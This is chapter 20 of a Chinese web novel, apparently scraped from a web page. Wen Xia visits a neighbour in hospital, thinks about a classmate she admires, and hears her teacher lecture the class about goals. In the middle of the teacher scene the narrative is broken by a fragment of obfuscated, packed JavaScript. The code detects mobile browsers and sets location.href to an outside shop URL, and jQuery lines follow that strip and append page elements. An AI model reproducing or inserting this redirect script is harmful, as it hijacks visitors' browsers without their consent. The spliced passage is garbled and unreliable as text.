20. 20

作品:《如果雨落下

    温悦第一次把温夏锁在门外,是她们上初一那年。


    那次大伯开口骂了温悦,赵雁蓉知道后,直接动手打了温夏。那几天,赵雁蓉还把家里闹得鸡犬不宁。


    从那之后,类似的事再发生,大伯也只是睁一只眼闭一只眼了。


    温诚正在吃包子,等她走近些,才问:“吃早餐了吗?”


    “吃过了。”温夏扯了个谎。


    她说完,就走到收银台出坐下,拿出笔记本开始默写数学公式。


    一副拒绝任何交谈的模样。


    温诚没再打扰她,去了店门口,偶尔能听到他和熟人交谈的声音。


    下午天最热的时候,胡胖子到店里来了。


    一般情况下,胡胖子舍不得买太贵的水果,来店里最常买的的就是西瓜,偶尔买点火龙果。这次却反常地直奔摆放车厘子的地方。


    温诚看他站在车厘子的篮筐前,出声开启了闲聊:“哟,发财了?”


    胡胖子摆摆手:“别提了,前段时间你嫂子出了个小车祸,是别人送她去的医院,这不是想着买点好东西答谢人家吗。”


    温夏忽然写不下去了。


    这么多年来,她每次被温悦锁在外面,都没麻烦过格格和程聿。


    就是因为她太知道做人要知恩图报了。


    她什么都没有,不知道该怎么拿什么答谢别人。


    人情社会,只说一句“谢谢”是很苍白的。


    自尊心作祟,她不想欠景栩什么,矫情地想追求某一方面的平等。


    可昨晚他帮了她,她至少得去医院看看林婆婆。


    犹豫再三,嘴唇都快被自己咬出血,她才小心翼翼地看向温诚:“大伯,我能……赊几斤水果吗?我想去医院探望朋友。”


    她向来不会主动开口要什么,温诚的第一反应是愣住:“一家人,哪有赊不赊的。看中什么,直接拿就行。”


    温夏低垂着眉眼:“谢谢大伯。”


    她起身挑了些水果,放在收银台,想着等傍晚些再去医院。


    赵雁蓉曾经警告过她,这个家没有一样东西属于她,吃穿用度,都是他们施舍给她的。这些东西,她以后都要还。


    从那之后,温夏就开始把每一笔花销都记在本子上。


    这次也没例外。


    好不容易熬到傍晚,温夏收拾好书包:“大伯,我去医院一趟,会尽快回来做晚饭的。”


    看着她小心翼翼的样子,温诚说不上的心疼:“今晚晚饭我做就行,你记得早点回来吃饭。”


    “谢谢大伯。”


    半小时后,温夏到了医院住院部大厅。


    景栩正好买完晚饭回来,看到她,惊讶了一下。


    两人一同去了四楼,他们走进病房的时候,林婆婆正和隔壁床的病人聊得起兴。


    温夏走过去,把果篮放下:“林婆婆。”


    “夏夏来了,快坐。”林婆婆看了果篮,“你来看婆婆,婆婆已经很高兴了,破费带什么水果。”


    “应该的。”温夏柔声细语,“您好点了吗?”


    “好多了。”林婆婆嗔了一眼景栩,“本来就是摔了一下,早就能出院了。他非得让我多住几天院。”


    景栩把饭菜拿出来,又将一次性碗筷摆在老人家面前:“伤筋动骨的,检查仔细点好。”


    一次性碗筷只有两份,剩下一份他给了温夏。


    温夏起身:“我吃过了。林婆婆,今天就先不打扰您了,我先走了。”


    林婆婆留她吃饭,她婉拒了。


    推拉了几个回合,林婆婆才放她走:“阿栩,你送送夏夏。”


    “婆婆,不用了。”温夏说。


    景栩倒不扭捏:“走吧,送你到楼下。”


    温夏没再拒绝:“那麻烦了。”


    -


    再见到景栩,是三天后。


    温夏从水果店回来,正好在巷口遇见出院的林婆婆。


    景栩拎着包,搀扶着她一步一步往前走。


    温夏不自觉也放慢了脚步。


    他们交谈不多,很快这段路就走到尽头。


    之后的一整个假期,即使温夏每天都出门,也没再见过景栩。


    枯燥乏味的日子很是难过,温夏一整个假期都像个机器人一样运作着。


    她的生活和之前没什么不同,只是,因为某个人,心里滋生出了前所未有的期待。每天都期待见到他,期待跟他说话,期待和他留下共同的经历……


    熬到开学,她终于又在那块掉了漆的圆形站牌下,看到了骑着自行车飞驰而过的景栩。


    新的一天,从那一刻开始,有了快乐的底色。


    大家一个假期没见,好像有聊不完的话题。


    黄筝这个假期出去玩了一趟,跑了三个热门的旅游城市。她一进教室就将卢杭挤走,凑到温夏旁边:“夏夏,我给你带的礼物。”


    说着,她放了一个盒子在温夏面前。


    里面装了纪念币和明信片,黄筝傻笑着:“都是我精心挑选的,好看吧?”


    “谢谢,很漂亮。”


    齐子尧凑过来:“有没有我的份?”


    黄筝一个白眼翻过去:“你哪位?”


    齐子尧轻啧了声,捂着心口:“亏我还给你打饭,帮你占位置,帮你去学校超市跑腿……这才一个多月没见,你就连我的名字都不记得了?真是世风日下。”


    经过一个学期的相处,黄筝已经不想和他斗嘴了。不知道从什么时候开始,她习惯了直接动手。


    她一巴掌拍在齐子尧肩上:“巴掌礼,我特意为你准备的,独一份,喜不喜欢?”


    “你这说不过就动手的毛病能改改?”齐子尧表情夸张,“要打也行,下次轻点儿。”


    黄筝漫不经心道:“你一见我就凑上来犯贱的毛病能改改?”


    “那改不了,你要打就打吧。”


    “……”


    黄筝懒得理他,转头又和温夏聊了起来。


    -


    开学当天的第一节课,照例是班主任的。


    老严在上课铃响之前半个小时走进教室,吵闹声在那一瞬间息了下去。


    老严环视一圈,想起一分钟前,从窗户看到半数以上的学生都在补作业。现在还有偷偷低头补的。


    他眼中腾起恨铁不成钢的怒气。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062524|137072||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >想起三天前,有个学生跟他说不上学了,家里条件不好,准备北上打工。


    他和其他几位老师去学生家,做了好几次思想工作,都没能改变学生父母的想法。


    他现在看到这一步,把保温杯重重地摔在讲桌上,气愤又难过地开了口:“赶作业的停一停了。你们现在高二,已经是准高三生了,怎么连按时完成作业的事儿都做不到?


    “学习是良心活,你一天不学只有你自己知道,一周呢?一个月呢?上学期的期末考试,我们班平均分比二班低了整整五分。同为实验班,同一批老师教的,怎么人家能考好?


    “你们要有危机感和紧迫感,别以为高考还很远。时间快得很,一眨眼你就坐在高考考场上了。


    “我希望你们能对自己的人生负责,努力走出去,而不是一生都困在树阳。即使以后你选择待在树阳,也只能是因为,你对外的世界厌倦了,真正认识到自己想要的生活了,思虑再三后,选择回来。


    “但是在那之前,你是不是应该更努力一点,去更广阔的世界看一看?”


    老严叹了口气:“你们现在,有明确的目标了吗?要去哪座城市,考哪所大学,想过吗?你的分数距离目标院校的录取分数还差多少?这些了解过吗?


    “人生是你们自己的,我希望你们负起责任来。”


    说完,老严拿着保温杯走出了教室。


    -


    下午放学,黄筝和温夏一起下楼。


    黄筝从老严说完那番话就蔫蔫儿的,这会儿看起来依旧没什么精神。


    她挽着温夏的胳膊,和旁边的齐子尧说话:“齐狗,你有想去的城市吗?或者想考的大学?我总觉得这些离我们还好远。”


    齐子尧转着球:“没想过,对我来说都没差。不过我比较想留在省内,离家近点儿。你呢,有规划了吗?”


    黄筝想了想:“我想去云槿市。这次去旅游,我发现自己还蛮喜欢那里的。而且,我想学的专业,云大在全国也排得上名。”


    齐子尧没再说话,低着头,转篮球的动作也停了,不知道在想什么。


    黄筝看向温夏:“夏夏,你呢?”


    黄筝问完这句,身后正好传来一句:“栩哥,等等我!”


    而后景栩从温夏身边跑过:“我先去球场占位置!”


    他心无旁骛地朝着自己的目标冲过去,始终没有回头。


    温夏看着他的身影隐入人群,才淡淡收回视线。大概怕黄筝察觉自己的心意,她敛了眼皮,眸半垂着:“我还没见过雪。”


    她忽然想起那晚广场上,他意气风发地说“人生当然是自己说了算”;想起他说“要做旷野上的一缕风,穿梭在四通八达的世界里”;也想起昏暗路灯下,他眸光闪闪,跟她说“别认命”。


    顿了下,她又补了句:“我想去看看堰青的冬天。”


    她声音很轻,却无比坚定。


    对她来说,景栩是高悬在天边的太阳,可望不可及。她从没想过,要把太阳摘下来,变成私有。


    她只是想,去看看他看过的世界,努力变得更优秀一些,努力地,靠近他。


    哪怕只是一点点。